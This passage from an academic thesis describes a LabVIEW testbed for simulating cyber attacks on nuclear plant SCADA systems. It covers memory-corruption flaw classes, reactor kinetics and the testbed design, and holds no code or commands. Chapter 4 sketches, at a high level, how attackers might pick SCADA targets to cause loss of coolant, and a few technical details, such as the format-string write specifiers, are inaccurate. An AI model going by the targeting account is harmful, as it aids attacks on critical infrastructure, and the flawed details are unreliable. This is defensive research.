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ABSTRACT 
 
 

A TESTBED TO SIMULATE CYBER ATTACKS ON NUCLEAR POWER 
PLANTS 

 
  

An approach is presented for a testbed that is constructed using LabVIEW for the 

simulation of cyber attacks on nuclear power plants in view of providing effective and 

adequate defenses against malfeasance Denial of Service (DoS) and Zero- day attacks.   

Nuclear power plants are critical infrastructures that must be safe and secure from 

undesirable intrusions: intrusions can be physical or cyber in nature. The increasing usage 

of digital control and computer systems, for Supervisory Control and Data Acquisition  

(SCADA) in the control rooms of the new generation of nuclear power plants, has 

introduced several cyber security issues that must be addressed. One of the most 

significant problems is that this new technology has increased the vulnerability of  

nuclear power plants to cyber security threats. Furthermore, this exposed vulnerability is 

one of the main reasons that the transition to digital control rooms connected to the 

internet has been slow and hesitant. In order to address these issues and ensure that a 

digital control system is safe and secure from undesirable cyber intrusions, the system 

must be evaluated with extensive tests and validation. These tests are used to verify that 

the installed systems are safe and will continue to properly function even under possible 

cyber attacks. 

 
The vulnerabilities of a nuclear power plant can be identified through conducting 

cyber security exercises, cyber security attacks scenarios, and simulated attacks. All these 
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events can be performed using the control room in the nuclear power plant. However, this 

is a complicated and hampered process because of the complex hardware and software 

interactions that must be considered. Control rooms are also not ideal places to test cyber 

attacks and scenarios because any mishap can lead to detrimental consequences.  

This research presents an approach to build a testbed that captures the relevant 

complexity of a nuclear power plant, its control room and associated cyber infrastructure. 

This testbed is developed and designed to assess the vulnerabilities that are introduced by 

using public networks for communications. The testbed is also used to simulate different 

cyber attack scenarios. It is used to develop cyber attack detection mechanisms based on 

the understanding of the physical system. Results imply that this testbed can be 

successfully used to simulate cyber attack and suggest the corresponding detection 

scenarios.   
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CHAPTER 1  
INTRODUCTION 

 

Nuclear power accounts for approximately 20% of all the electric power 

generation in the United States. Currently, there are 103 nuclear power plants operating 

in the United States, with a capacity of nearly 98,000 megawatts (MW). These plants are 

either Pressurized Water Reactors (PWRs) or Boiling Water Reactors (BWRs). Every 

nuclear power plant has a local process control system that is used to monitor and control 

the plant.  

 

The U.S. Nuclear Regulatory Commission (NRC) is responsible to regulate and 

monitor commercial nuclear reactors. The NRC is responsible for licensing plants, as 

well as performing regular inspections to ensure compliance with safety and most 

security requirements. Due to their nature, nuclear power plants should be the safest and 

most secure part of any electricity generation facilities. Nuclear power plants must 

comply with the design basis threats determined by the NRC [1, 2]. The design basis 

threats include all conceivable and credible attacks that could result in the release of 

radioactivity. The physical safety of the plants against any external intrusion is also 

paramount. Plant security personal often perform routine force-on-force exercises to 

demonstrate their ability to respond to such attacks. 
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The spread of new computer technologies in the new generation of nuclear 

reactors (Generation III+ and IV) have brought forth many advantages as well as risks. 

While Generation II reactors are still based on analog control rooms, increasingly 

powerful computers are becoming prevalent, not just in the control rooms, but also in the 

field in the form of Intelligent Electronic Devices (IDEs) in the next generation of 

Nuclear Power Plants (NPPs) [3]. They allow for efficient network based 

communications, the use of Supervisory Control and Data Acquisition (SCADA) 

systems, and more efficient operation of the plants. Unfortunately, these new 

technologies that involve the standard networks and protocols expose the devices to 

possible cyber attacks. If a cyber attack were to take place at a Nuclear Power Plant 

(NPP), it would most likely target the process control system [3-5]. 

 

Control systems are usually composed of a set of network agents, consisting of 

sensors, actuators, control processing units such as Programmable Logic Controllers 

(PLCs), and communication devices [6]. For example, nuclear power plants use 

integrated control systems in several operations such as moving the control rods in NPP, 

remotely monitoring the pressure and flow of coolant, and power generation [7].  

 

The control system of the nuclear power plant is labeled as “safety-critical”, 

meaning its failure can cause irreparable harm to the physical system being controlled 

and to the people who depend on it. SCADA systems, in particular, perform vital 

functions in national critical infrastructures, such as electric power distribution, oil and 

natural gas distribution, solar and wind power generation, water and waste-water 
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treatment, and transportation systems. They are also at the core of health-care systems, 

weapons systems, and transportation management. The disruption of these control 

systems could have a significant impact on public health and safety, and lead to large 

economic losses [3].  SCADA systems are also widely used in the next generation of 

NPPs [7]. 

 

Determining the vulnerabilities of the control system in the NPPs that use these 

devices is a complicated and continuously evolving process due to the complexity of the 

system and due to the continuously evolving nature of the potential attacks. One approach 

is to build a comparatively simple system that captures the relevant complexity, i.e. a 

testbed. The testbed can be used as a tool to capture the vulnerabilities of the system and 

run cybersecurity exercises. The cybersecurity exercises include different scenarios to 

attack the testbed. The testbed can be used to simulate the impact of the attack on the 

NPPs. On the other hand, the attack detection algorithm can also be an integrated part of 

the testbed.  It can monitor the physical system under control and raise an alert when an 

attack is detected.  The alert can be in the form of a message to the operator alerting 

about the attack, as well as to suggest response(s) to the attack in an appropriate, time 

sensitive manner.       

 

The primary objective of this work is to develop a simulation testbed that can be 

used to carry out simulation experiments to determine the vulnerabilities of the digital 

control room in NPPs to cyber security threats.  A secondary objective is to carry out 

simulations with some of the commonly known cyber attack scenarios.  To achieve this 
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goal, we first develop a testbed that simulates the control system in the nuclear power 

plant to assess the vulnerabilities introduced by using public or private networks for 

communication. Secondly, we use the knowledge of the physical system under control to 

design and develop different cyber attack scenarios that violate the confidentiality, 

integrity and availability in the testbed. These scenarios will help us to understand how 

the system will react under diffident scenarios, and will be used as a tool to assess the 

risks associated from cyber attacks. Finally, in order to detect modifications to the sensed 

or controlled data as soon as possible, before the attack causes irreversible damages to the 

system, we propose the security mechanisms that detect attacks by monitoring the 

physical system under control. Results of such simulations can then be used to evaluate 

and design improved digital control system designs.  

 

The proposed testbed includes a simple nuclear reactor simulator with interactive 

features. The simulator includes variables such as reactor power, temperature, and 

precursors concentration. The simulator provides virtual instrument and graphical user 

interface to the operator to control the virtual nuclear power plant and provide the 

behavior of the system in real time.   The simulator consists of two parts: Client side and 

Server side, both of them run on different machines and use a wide area network for 

communication. The Client side and the Server side use the TCP/IP network protocol for 

the communication. 

 

The present work attempts to initiate a discussion between the control and the 

security practitioners–two areas that have had little interaction in the past. It is believed 
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that control engineers can leverage security engineering into an improved design. This 

new design would be based on a combination of control algorithms, which go beyond 

safety and fault tolerance, and will include considerations on surviving targeted cyber 

attacks. 

The remainder of this work is organized as follows: Chapter 2 puts this effort into 

prospective by describing the relevant background information. Related work on security 

assessment techniques for power systems and computer networks is discussed in Chapter 

3. Chapter 4 describes the architecture and implementation of our simulation model, and 

discusses the simulation results. Different cyber attack scenarios are also formulated in 

this chapter. Chapter 5 discusses the detection mechanism of the cyber attacks. Lastly, the 

thesis is concluded with a short discussion and possible future work in Chapter 6. 
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CHAPTER 2 
BACKGROUND 

 

A brief background of relevant technical areas relevant to this work is given in this 

chapter. SCADA systems are described in Section 2.1, followed by discussion about 

computer attacks on Process Control System in Section 2.2.  For those with no exposure 

to nuclear systems, a brief description of the role of SCADA systems in nuclear power 

plant is given in Section 2.3.   

2.1. Supervisory Control and Data Acquisition (SCADA) 

Systems 

Computer-based supervisory control and data acquisition (SCADA) systems have 

changed from standalone, compartmentalized operations into networked architectures 

that communicate across large distances. Their implementation has migrated from custom 

hardware and software to standard hardware and software platforms. These changes have 

led to reduced development, operational, and maintenance costs as well as providing 

executive management with real-time information that can be used to support planning, 

supervision, and decision making  [8-11]. 

The industrial control systems using trade-mark hardware and software are now 

vulnerable to intrusions through external networks, including the Internet, as well as from 

internal personnel. These attacks take advantage of vulnerabilities in standard platforms, 

such as Windows, and PCs that are used in SCADA systems. This situation lead to attack 

progression concerns due to the fact that SCADA systems are controlling a large 

percentage of the world’s critical infrastructures, such as nuclear power plants, other 
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electricity generating plants, pipelines, refineries, and chemical plants.  They are directly 

and indirectly involved in providing services to seaports, transportation systems, 

pipelines, manufacturing plants, and many other critical enterprises [12, 13]. 

Supervisory control and data acquisition (SCADA) systems are considered to be 

the nervous system of most critical infrastructures. SCADA provides management with 

real-time data on production operations, implement more efficient control paradigms, 

improves plant and personnel safety, and reduces costs of operation. These benefits are 

made possible by the use of standard hardware and software in SCADA systems 

combined with improved communication protocols and increased connectivity to outside 

networks, including the Internet. 

2.1.1. SCADA System Architecture 

Specific terminology is associated with the components of SCADA systems. These 

SCADA elements are defined as follows: 

• Operator: Human operator who monitors the SCADA system and performs 

supervisory control functions for the remote plant operations. 

• Human Machine Interface (HMI): Presents data to the operator and provides for 

control inputs in a variety of formats, including graphics, schematics, windows, 

pull-down menus, and touch-screens. 

• Master Terminal Unit (MTU): Equivalent to a master unit in master/slave 

architecture. The MTU presents data to the operator through the HMI, gathers 

data from the distant site, and transmits control signals to the remote site. The 

transmission rate of data between the MTU and the remote site is relatively low 
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and the control method is usually an open loop because of possible time delays or 

data flow interruptions. 

• Communications means: Communication method between the MTU and remote 

controllers. Communication can be through the Internet, wireless or wired 

networks, or the switched public telephone network. 

• Remote Terminal Unit (RTU): Functions as a slave in the master/slave 

architecture. It sends control signals to the device under control, acquires data 

from these devices, and transmits the data to the MTU. An RTU may be a 

Programmable Logic Controller (PLC). The data rate between the RTU and 

controlled device is relatively high and the control method is usually closed loop. 

A general diagram of a SCADA system is shown in Figure 2.1. 
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Human Machine Interface-HMI

Central Control Station (Master 
Terminal Unit-MTU)

Field Data Acquisition & Control Unit 
(REMOTE TERMINAL UNIT-RTU; 

may be Programmable Logic 
Controller-PLC)

Field Data Acquisition & Control Unit 
(REMOTE TERMINAL UNIT-RTU; 

may be Programmable Logic 
Controller-PLC)

Communication via Internet, Wireless Network, Wired 
Network, or Switched Public Telephone Network (Relatively 

low data rate, usually open loop control)

(Relatively High Data Rate, Usually Closed Loop Control)

Operator

Figure 2.1 Typical SCADA system architecture 
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Modern SCADA architectures rely heavily on standard protocols and digital data 

transmission. For example, a communications protocol such as the Foundation Fieldbus 

is applied in conjunction with industrial Ethernet radios [10]. These Ethernet radios 

provide data rates of 512 kbps, a large increase over those provided by EIA-232 serial 

links. For security, industrial Ethernet access points use spread-spectrum frequency 

hopping technology with encryption [10, 11]. 

As discussed previously, the SCADA architecture comprises two levels: a master 

or client level at the supervisory control center and a slave or data server level that 

interacts with the processes under control. In addition to the hardware, the software 

components of the SCADA architecture are important. 

 

2.1.2. SCADA System Security Issues Overview 

For reasons of efficiency, maintenance, and economics, data acquisition and 

control platforms have migrated from isolated in-plant networks, using proprietary 

hardware and software, to PC-based systems using standard software, network protocols, 

and the Internet. The downside of this transition has been the exposure of SCADA 

systems to the same vulnerabilities and threats that plague Windows-based PCs and their 

associated networks. Some typical attacks that might be mounted against SCADA 

systems that employ standard hardware and software are listed here: 

• Malicious code such as viruses, Trojan horses, and worms 

• Unauthorized disclosure of critical data 

• Unauthorized modification and manipulation of critical data 
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• Denial of service attacks  

• Unauthorized access to audit logs and modification of audit logs 

Most SCADA systems, particularly the local Programmable Logic Controllers 

(PLCs), have to operate in real-time or near real-time environments. Thus, they cannot 

afford delays that might be caused by information security software and that interfere 

with critical control decisions affecting personnel safety, product quality, and operating 

costs. Also, the plant SCADA system components do not usually have excess memory 

capacity that can accommodate relatively large programs associated with security 

monitoring activities.  

In summary, conventional Information Technology (IT) systems are concerned with 

providing for internal and external connectivity, productivity, extensive security 

mechanisms for authentication and authorization, and the three major information 

security principles of confidentiality, availability, and integrity. Conversely, SCADA 

systems emphasize reliability, real-time response, tolerance of emergency situations 

where passwords might be incorrectly entered, personnel safety, product quality, and 

plant safety [8, 10]. 

 
2.2. Computer Network Attacks on Process Control Systems 

There are several cyber threats that use low-level coding vulnerabilities to attack a 

large number of process control systems in production. Low-level coding vulnerabilities 

are defined as a programming error that corrupts the memory of a program. The 
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exploitation of such vulnerabilities generally takes the form of control-data or Non-

control attacks. 

Control data attacks are considered the most critical security threats. They alter the 

target program’s control data (data that are loaded to processor program counter at some 

point in the program execution, e.g., return addresses and function pointers) in order to 

execute injected malicious code or out-of context library code (in particular, return-to-

library attacks). The attacks usually make system calls (e.g., starting a shell) with the 

privilege of the victim process. Non-control data attacks corrupt a variety of application 

data including user identity data, configuration data, user input data, and decision-making 

data, i.e., computational data usually held by global or local variables in a computer 

program. Some real world examples of low-level coding vulnerabilities in process control 

systems include buffer overflow, format string vulnerability, integer overflow, and 

double free attack [14]. 

2.2.1. Buffer Overflows 

Buffer overflow, or buffer overrun, is an abnormality that occurs when a program, 

while writing data to a buffer, overruns the buffer’s boundary due to insufficient bounds 

checking, and corrupts the data values in memory addresses adjacent to the allocated 

buffer. Buffer overflows can be triggered by inputs that are designed to execute code, or 

alter the way the program operates. This may result in erratic program behavior, 

including memory access errors, incorrect results, a crash, or a breach of system security. 

They are thus the basis of many software vulnerabilities and can be maliciously exploited 

[11]. 
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The technique used to exploit buffer overflow vulnerability depends on the 

architecture, operating system, and memory region. For example, in stack-based 

exploitation, the attacker can overwrite a local variable that is near the buffer in memory 

on the stack, to change the behavior of the program, and overwrite the return address in a 

stack frame. Once the function returns, execution will resume at the return address as 

specified by the attacker, which includes the malicious code. Another possibility is to 

overwrite a local variable that is near the buffer in memory on the stack, which will 

change the behavior of the program and exploit buffer overflow vulnerability.  While on 

heap-based exploitation, the buffer overflow attack occurs in the heap data. Memory 

locations on the heap are dynamically allocated by the application at run-time and contain 

program data. Exploitation is performed by corrupting this data in specific ways, which 

will cause the application to overwrite internal structures such as linked list pointers. The 

canonical heap overflow technique overwrites dynamic memory allocation linkage, and 

uses the resulting pointer exchange to overwrite a program function pointer [8]. 

2.2.2. Format String Vulnerabilities 

Format string vulnerability is a programming error that allows an adversary to 

specify the format string to a format function. An adversary may have the possibility to 

specify a format string directly. An example of this, in the C programming language, 

involves a number of functions which accept a format string as an argument. These 

functions include fprintf, printf, sprintf, snprintf, vfprintf, vprintf, vsprintf, vsnprintf, 

setproctitle, syslog, and others. 

Format string vulnerability attacks fall into three categories: denial-of-service, 

reading, and writing. Denial-of-service attacks are characterized by utilizing multiple 
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instances of the %s format specifier to read data off of the stack until the program 

attempts to read data from an illegal address, which will cause the program to crash.  

Reading-attacks typically utilize the %x format specifier to print sections of memory that 

we do not normally have access to. Writing-attacks utilize the %d, %u or %x format 

specifier to overwrite the Instruction Pointer and force execution of user-supplied shell 

code [11]. 

2.2.3. Integer Overflows 

There are two kinds of integer errors, namely integer overflows and integer sign 

errors. An integer overflow occurs when an integer variable is assigned a value that is 

larger than the maximum value it can hold. When an integer variable is overflowed, no 

buffers are smashed, thus integer overflow vulnerability is not directly exploitable. 

An integer overflow condition exists when an integer, which has not been 

properly sanity checked, is used in the determination of an offset or size for memory 

allocation, copying, concatenation, or other similar tasks. If the integer in question is 

incremented past the maximum possible value, it may wrap to become a very small or 

negative number, therefore providing an incorrect value. The consequences include, 

availability, in which integer overflows generally lead to undefined behavior and 

therefore crash. In the case of overflows involving loop index variables, the likelihood of 

infinite loops is also high. Also, if the integer overflow has resulted in a buffer overflow 

condition, data corruption will most likely take place. Integer overflows can sometimes 

trigger buffer overflows which can be used to execute arbitrary code. This is usually 

outside the scope of a program's implicit security policy [8]. 
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2.2.4. Dangling Pointers 

Dangling pointer vulnerability arises when an object is deleted or deallocated, without 

modifying the value of the pointer, resulting in a pointer that still points to the memory 

location of the deallocated memory. A double-free occurs when deallocated memory is 

deallocated a second time; such vulnerability may cause a program to assume abnormal 

behavior, and in the case of a double-free vulnerability, it may lead to complete program 

exploitation. The system may reallocate the previously freed memory to another process, 

and if the original program then dereferences the dangling pointer, unpredictable 

behavior may result, as the memory may now contain completely different data [8, 9]. 

2.3. SCADA in Nuclear Power Plants 

Nuclear power plants are extremely important elements in a nation’s critical 

infrastructure. NPPs with digital control rooms are sensitive to SCADA attacks. In a 

Light Water Reactor (LWR) nuclear power plant, the nuclear reactor generates heat that 

produces high-pressure steam. The steam is used to power turbines that provide energy to 

electrical generators. The process is similar to that used in fossil fuel plants, but the 

source of heat in a nuclear power plant is the reactor instead of the burning of fossil fuels. 

The heat is the result of a nuclear fission reaction in which atoms with large 

atomic numbers are broken into two atoms when hit by neutrons. This splitting also 

produces a relatively large amount of energy and releases additional neutrons. The newly 

generated neutrons, in turn, collide with other large atomic number nuclei and a chain 

reaction is sustained. A typical reaction is the breakdown of Uranium 235 (U235), which 
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creates strontium, xenon, an average of 2.47 neutrons, and about 200 million electron-

volts (MeV) of energy. A typical fission reaction is:   

𝑈!"# + 𝑛! ! → 𝑋𝑒!"# + 𝑆𝑟!" + 2.47 𝑛! ! + 203  𝑀𝑒𝑉 

In order to sustain the reaction, fast neutrons that are generated must be slowed 

down to energy levels that are optimum for inducing fission in the U235 nuclei. These 

slower neutrons are known as thermal neutrons. A moderator is used to slow down the 

neutrons. A widely used moderator that also acts as the coolant to extract the fission heat 

is water. The energy released by this sustained chain reaction is manifested as heat that 

generates steam to power the steam turbines. Control of the nuclear reactor is 

accomplished by moving neutron-absorbing materials in the form of rods in and out of 

the reactor. A typical rod is composed of silver, indium, and cadmium. At steady state 

operation, burnable absorbers (of neutrons) in addition to neutron absorbers such as 

boron diluted in water are also used to keep the reactor critical. 

In the United States, the nuclear power plants use water as a moderator and 

coolant. These reactors are known as Light Water Reactors (LWR). The two main types 

of light water reactors are defined by the state of the water in the core. In the Boiling 

Water Reactor (BWR), the water is allowed to boil, and it results in steam that is used to 

directly power the turbines. This steam exhibits a low level of radioactivity with a half-

life of about one-half second. In the PWR, two separate loops are used with a heat 

exchanger to isolate the radioactive water flowing through the core from the steam 

circulated to the turbines. 
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2.3.1. The Boiling Water Reactor, BWR 

A typical BWR that generates 1,220 megawatts of electrical power has 

approximately 180 neutron-absorbing control rods that have to be operated. Safety 

features for these reactors include an Emergency Core Cooling System (ECCS) to 

prevent the core from overheating. A general diagram of a BWR is given in Fig. 2.2. 
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Figure 2.2 Boiling Water Reactor (BWR) diagram 

 

 

 



       

19 

 

2.3.2. The Pressurized Water Reactor, PWR 

The PWR is used widely throughout the world and in nuclear propulsion. In this 

reactor, the coolant is kept under pressure to prevent boiling. It uses two separate water 

loops as shown in Figure.2.3. The pressures in both loops, the primary and secondary, 

must be controlled for safe and proper operation. The critical pressure in the primary loop 

is controlled by a pressurizer connected to the piping system. 
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Condenser

High Pressure Heaters 

Condensate Pump

Feed Pump

Low Pressure Heaters

Generator

Reactor

Steam

Primary Loop
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Loop

 
Figure 2.3 Pressurized Water Reactor (PWR) diagram 
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2.3.3. Possible Attack Consequences 

As opposed to conventional fossil fuel, which can be completely shut off by 

simply turning off the fuel supply, the fuel for a nuclear power plant is “kept” in the core 

before it needs refueling (within one to two years). The reaction rate in a nuclear power 

plant is controlled to maintain criticality (sustained chain reaction) as the fuel burns.  

Furthermore, even when a nuclear plant is shut down, radioactive decay still occurs and 

some amount of heat continues to be generated. This decay heat must be removed or the 

reactor core will melt, causing a situation similar to the accident at the Three Mile Island 

Unit 2 (TMI-2) nuclear power plant near Middletown, Pennsylvania, on March 28, 1979, 

or more recently at some of the plants at Fukushima, Japan [15]. In the case of TMI-2, a 

partial meltdown of the reactor core was caused by a series of events including operator 

errors, design flaws and malfunctioning equipment. Fortunately, only a small amount of 

radiation was released and there were no casualties. Because of this accident, the U.S. 

Nuclear Regulatory Commission (NRC) increased safety and oversight requirements for 

nuclear power plants. The fear is that a hypothetical cyber attacker can recreate the 

situation that was inadvertently created by an unfortunate set of events by taking 

advantage of vulnerabilities in SCADA system of digitally controlled NPPs. 

SCADA-type systems are responsible for controlling heat removal and handling 

other normal and emergency situations in the nuclear power plant. Therefore, any 

interference with the operation of the SCADA system can have dramatic and dangerous 

consequences. Another troubling situation is spent nuclear fuel, which also contains the 

radioactive products of the fission process. This spent fuel can be reprocessed to produce 

new fuel rods or it can be stored in pools in nuclear power plants. When stored in a pool 
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on site, it must be cooled for nearly five years before it can be moved to dry storage on 

site, or to off-site locations. Vulnerabilities in the cooling system of the spent fuel pool 

may also become target of cyber attacks. 
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CHAPTER 3 
RELATED WORK 

 
This work has benefitted from related work on cyber security for power grids, cyber 

attack detection techniques for computer networks, and both general and specific 

techniques that target critical infrastructure protection. Some of these are briefly 

described below. 

3.1. Cyber Security for the Power Grid 

Power grids are undergoing a revolutionary transition evolving into “smart grid”.  

The new generation of power grids requires new computer technologies, networked 

control and SCADA system, but use of these technologies is associated with a drawback.  

A power grid has a large number of switches that affect the way power is routed and 

distributed within various component systems. These switches are often controlled 

remotely through SCADA (but can also be switched manually). Changing the status of 

the switching devices in a substation allows some interesting attack scenarios from an 

intruder’s point of view. A denial of service attack on the controlling relay would cause a 

failure in reporting the proper state in time (and might require manual intervention). Even 

more serious, a buffer-overflow in a networked device (allowing execution privileges) 

can allow an attacker to black-out a feeder or overload a transformer. The latter is a very 

serious attack as transformers are expensive and hard to replace [16-18]. 

Trustworthy Cyber Infrastructure for the Power grid (TCIPG) is a project at the 

University of Illinois with the intent to address the new vulnerabilities in the power grid. 

TCIPG is focused on securing the low-level devices, communications, and data systems 
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that make up the power grid, to ensure trustworthy operation during normal conditions, 

cyber-attacks, and/or power emergencies [16, 18].  Davis and others developed a testbed 

to determine the vulnerabilities of the power grid and simulate different cyber attack 

scenarios [18]. Bergman and Nicol presented Virtual Power System Testbed (VPST) to 

explore performance and security of Supervisory Control and Data Acquisition (SCADA) 

protocols and equipment [17].  

3.2. Cyber Attack Detection 

Currently, there are two approaches to detect cyber attacks. First, Host Intrusion 

Detection Systems which reside on, and monitor an individual host machine. There are a 

number of system characteristics that a host intrusion detection system can utilize in 

collecting data: including, file system changes, network events, and system calls, with 

some modification of the host's kernel [3, 19]. Secondly, Network Intrusion Detection 

Systems, a network cyber attack detection system, monitors the packets that traverse a 

given network link, by analyzing the characteristics of the network traffic, which can 

identify the cyber attack [3, 20, 21, 22]. 

Rrushi developed intrusion detection models. These do not include dynamical models 

of the process control system. Further research on dynamical system models used in 

control theory as a tool for specification based intrusion detection systems are needed [4]. 
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CHAPTER 4 
SIMULATION AND MODELING  

 
In this work, a testbed has been developed to simulate cyber attacks scenarios and 

model the control system and the physical operations in the nuclear power plant. The 

testbed includes a nuclear reactor simulator, which is a TCP/IP network application that 

simulates a typical Boiling Water Reactor (BWR). 

 

A LabVIEW application was developed to simulate the existence of a large set of 

the physical components of a nuclear power plant.  Figure 4.1 shows the schematic 

diagram of the integrated testbed.  The Figure shows the physical components and the 

cyber components. The two interact closely with each other. A remote access from public 

or enterprise to the SCADA system may provide the cyber part access to measurement 

data from the physical plant, and deliver the control data from the cyber part to the 

physical part.  
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Figure 4.1 Nuclear power plant model that is used to develop the testbed. (The top left image is adapted from 

Ref. [23].) 

 

The SCADA system in the nuclear power plant plays a critical role in the control 

room of the nuclear reactor. It controls the control rod sequence, neutron monitoring, core 

cooling, turbine generator, feedwater control, and other important processes and 

equipment. For example, the rate of neutron production in the fuel region is determined 

by the SCADA system upon receiving signals that are transmitted by detectors located 

within the reactor core. The sensing capabilities of these sensors are based on physical 

processes occurring in the reactor. 

Technically a successful implementation of cyber attacks on a nuclear power 

plant requires the identification of a defined SCADA system, which controls a target 

nuclear power plant component and contains the knowledge of the operation of this 

SCADA system on the target nuclear power plant component. For example, an attack 
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carried out to cause a loss of reactor coolant requires the identification of one or more 

SCADA systems which implement control functions on reactor feed pumps. These feed 

pumps make the water flow through the reactor vessel. Attackers can acquire information 

on target nuclear power plant components through analyses of control traffic flowing 

over process control networks. By identifying the values of control variables such as 

neutron population, temperature, pressure, power level, reactivity, etc., and the valves, 

pumps, circuit breakers, motors, etc., which are used by SCADA systems in monitoring 

and operating the plant, attackers can derive the aforementioned information necessary 

for a target selection. 

We present the details of the testbed architecture and implementation in section 4.1, 

and in section 4.2 we discuss the attacks scenario and implementation.    

 

4.1. Testbed Architecture 

The testbed has three components: nuclear reactor simulator, client –server protocol 

and wide area network. The nuclear reactor simulator is network application that 

simulates the nuclear reactor and consists of two parts. The first part simulates the control 

room and the second one simulates the reactor core. The simulator uses the TCP/IP 

(client-server) network protocol for communication. The wide area network provides the 

communication infrastructure for the simulator. 
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4.1.1. Nuclear Reactor Simulator  

A nuclear reactor simulator has been developed using LabVIEW to mimic and 

analyze a nuclear reactor. The simulator consists of two parts: client side and server side. 

The client side simulates the control room and the server side simulates the reactor core. 

Figure 4.2 shows the simulation environment in which the simulator shows the client and 

server running simultaneously while utilizing a wide area network for communication. 

This is a TCP/IP simulator. Initially the system runs with default configuration where the 

control signal is set to an initial value. The client sends the control signals value to the 

server, and then on the server side, these control signals are used as inputs to solve a 

mathematical model of the nuclear reactor. The results of the solution are returned from 

the server to the client, and are   displayed in the graphical user interface.  For each time 

step, the loop is repeated until the end of the pre-specified simulation time. 

 

Wide Area Network
Port 3000 Port 3000

Control Room
Nuclear Reactor Server

 
Figure 4.2 Client–Server architecture 

 

The nuclear reactor simulator solves a mathematical model of a BWR that contain the 

very basic but essential processes that control the dynamic behavior of the BWR. The 

simplest logical model that retains the essential physical processes controlling the 
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dynamic behavior of a BWR contains a one-point representation of the reactor kinetics, a 

one-node representation of the heat transfer process in the fuel, and a two-node 

representation of the channel thermal hydraulics to account for the void reactivity 

feedback. These processes can be combined to form the closed-loop model shown in the 

block diagram. 

POINT 
REACTOR 
KINETICS

DOPPLER 
EFEECT FUEL

FLOW 
CHANNEL

VOID
REACTIVITY

REACTIVITY POWER

 

Figure 4.3 Block diagram of the reduced-order model [24] 

 

In the time domain, the mathematical description of the closed loop can be 

represented by the following system of ordinary differential equations [24-26], 

Forward Loop: 

𝑑𝑛(𝑡)
𝑑𝑡 =

𝜌 𝑡 −   𝛽
𝛬 𝑛 𝑡 + 𝜆𝑐 +

𝜌
𝛬                                                                                                             (1) 

   
𝑑𝑐(𝑡)
𝑑𝑡 =

  𝛽
𝛬 𝑛 𝑡 − 𝜆𝑐                                                                                                                                                            (2) 
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 Feedback Loop:   
    

𝑑𝑇(𝑡)
𝑑𝑡 = 𝑎!𝑛 𝑡 − 𝑎!𝑇 𝑡                                                                                                                                             (3) 

   

    
𝑑!𝜌!(𝑡)
𝑑𝑡! +   𝑎!

𝑑𝜌!
𝑑𝑡 +   𝑎!𝜌! = 𝐾𝑇 𝑡                                                                                                   (4) 

 
𝜌 𝑡 = 𝜌! 𝑡 + 𝐷𝑇 𝑡                                                                                                                                                         (5) 

   
 

where: 

𝑛(𝑡) = Excess neutron density normalized to the steady-state neutron density  

𝑐(𝑡) = Excess delayed neutron precursor concentration, also normalized to the steady-
state neutron density   

𝑇(𝑡) = Excess average fuel temperature 

𝜌!(𝑡) = Excess void reactivity feedback 

𝛽 = Delayed precursor fraction  

𝜆 =Decay constant 

𝛬 = Neutron generation time 

𝐷 = Doppler reactivity coefficient  

 

Equations (1) and (2) represent the forward loop and correspond to the point 

kinetics approximation of the neutron dynamics. The feedback loop is formed by 

equations (3), (4), (5). Equation (3) results from a one-node expansion of the heat transfer 

equation in the fuel. Equation (4) is an approximation to the dynamics of the flow 

channel; it relates the change in reactivity to changes in void reactivity. 

The parameter K, which is proportional to the void reactivity coefficient, the fuel 

heat transfer coefficient and the fuel heat transfer coefficient, control the gain of the 
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feedback and, thus, define the stability of this reactor model. The value of k0 given in 

Table 4.1 is the critical value above which the model becomes unstable. By artificially 

increasing the value of the K above k0, the model can be made unstable and can be used 

to study the BWR dynamic behavior in the regime where the reactor is unstable. Table 1 

below shows the default values of the model parameters that are used in this work [23, 

25]. 

Table 4.1 Model Parameters [23] 

Parameter Value Units 
𝑎! 25.04 K.s-1 

𝑎! 0.23 s-1 

𝑎! 2.25 s-1 

𝑎! 6.82 s-2 

𝑘! -3.70*10-3 K-1.s-2 

𝐷 -2.52*10-5 K-1 
𝛽 0.0056 --- 
𝛬 4.00*10-5 s-1 

𝜆 0.08 s-1 

 

4.1.1.1. Client Side 

The client side provides a graphical user interface that offers several functions 

that mimic real world operations of the nuclear power plant. In addition, it provides a 

graphical view of different state variable of the nuclear power plant. The information 

used to drive the display is obtained via TCP/IP from the server side (reactor core). This 

approach mimics a control room display that is obtaining SCADA data from the nuclear 

power plant over a communications network.  

The ability to control, rather than simply view, power system elements is also a 

key component of real nuclear power plant operations. The client side supports control 
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actions, such as moving the control rod, and it provides a simple display of data 

associated with parameters controlled by the operator. All state variable data displayed on 

the client side must first be communicated over the network from the server to the client. 

This decoupling of the display (the control room) from the data source (the reactor core) 

enables independent modification and testing of the display, communications networks, 

and power plant without affecting other components of the testing environment. 

The client sends control signals to the server side through a TCP connection.  

TCP open connection is a command that has two requirements: a port number and an IP 

address. The IP address specifies the machine being used and the port number specifies 

the application that is being run on the machine. Likewise, the application (server) is 

responsible for receiving the command from the client side.  After the connection setup, 

the client sends a command using the TCP write to the server side. On the server side, 

this command will be used as input to solve the mathematical model, and after that, the 

client will read the response (solution result) using the TCP read command. At this point 

the data is available on the client side and ready to be viewed on charts by the operator. 

Figure 4.4 illustrates the protocol that uses the control data to generate the state data. 

 

 

Figure 4.4 Client side Transmission Control Protocol (TCP) configuration 
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The client side consists of two parts: the first one is the control panel (graphical 

user interface) which allows the operator to configure the simulator and send control 

signals; the second part is the SCADA which operates behind the GUI allowing the 

operator to control the nuclear reactor.     

 

Figure 4.5 Client side – program settings tab in the control panel   

 

  Figure 4.5 shows the control panel part of the client side. It shows the program 

setting tab in the control panel that allows the operator to identify the IP address of the 

remote machine that run the server part of the simulator. The control signals tab allow the 

operator to send different values of the reactivity which simulate moving the control rod 

in order to increase or decrease the power level as shown in Fig.4.6. 
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Figure 4.6 Client side – control signal tab in the control panel   

 

 The second part on the client side consists of the SCADA, which includes four 

windows that allow the operator to monitor the state of the nuclear reactor.  The four 

windows show the reactor power level, temperature level, reactivity and precursor 

concentration, respectively.   
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Figure 4.7 Client side reactor power tab in the SCADA panel   

 

 
Figure 4.8 Client Side temperature level tab in the SCADA panel   
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Figure 4.9 Client side reactivity tab in the SCADA panel    

 

 
Figure 4.10 Client side precursor concentration tab in the SCADA panel    
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4.1.1.2. Server Side 

The purpose of the nuclear reactor server is to simulate the nuclear reactor by 

solving a mathematical model of the physical operations in the nuclear reactor. The 

server side solves the system of differential equations given in section 4.1.1 by using a 

simple finite difference approach. The server side provides the SCADA with data that 

would typically be fed from sensors located in various locations in and around the reactor 

